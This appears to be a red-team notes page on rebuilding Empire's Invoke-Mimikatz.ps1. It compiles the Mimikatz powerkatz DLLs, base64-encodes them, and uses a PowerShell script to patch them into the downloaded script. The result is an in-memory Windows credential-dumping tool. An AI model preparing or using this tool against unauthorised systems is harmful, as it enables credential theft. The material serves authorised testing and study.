### Update PS1

Update the [`Invoke-Mimikatz.ps1`](https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-Mimikatz.ps1) PowerShell script:

1. Grab source code zip from the latest (or any one you want) [release](https://github.com/gentilkiwi/mimikatz/releases) of Mimikatz.
2. Open the solution in Visual Studio.
3. Select the **Second\_Release\_PowerShell** target option and compile for `Win32`.
4. Right-click on `mimikatz` solution > Properties > C/C++ > Set **Treat warnings as errors** to `No (/WX-)` > OK.
5. Compile for `x64`.
6. Transform the resulting `powerkatz` DLLs to base64 and replace the `$PEBytes32` and `$PEBytes64` vars at the bottom of `Invoke-Mimikatz.ps1` with a PowerShell script below.

{% code title="Update-InvokeMimikatz.ps1" %}

```powershell
$powerkatz32 = [System.IO.File]::ReadAllBytes("Win32\powerkatz.dll")
$powerkatz64 = [System.IO.File]::ReadAllBytes("x64\powerkatz.dll")
$encPowerkatz32 = [System.Convert]::ToBase64String($powerkatz32)
$encPowerkatz64 = [System.Convert]::ToBase64String($powerkatz64)
$invokeMimikatz = (New-Object Net.WebClient).DownloadString("https://github.com/BC-SECURITY/Empire/raw/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1") -replace '\$PEBytes32 = .*$', ('$PEBytes32 = ' + "'$encPowerkatz32'")
$invokeMimikatz -replace '\$PEBytes64 = .*$', ('$PEBytes64 = ' + "'$encPowerkatz64'") > Invoke-Mimikatz.ps1
```

{% endcode %}
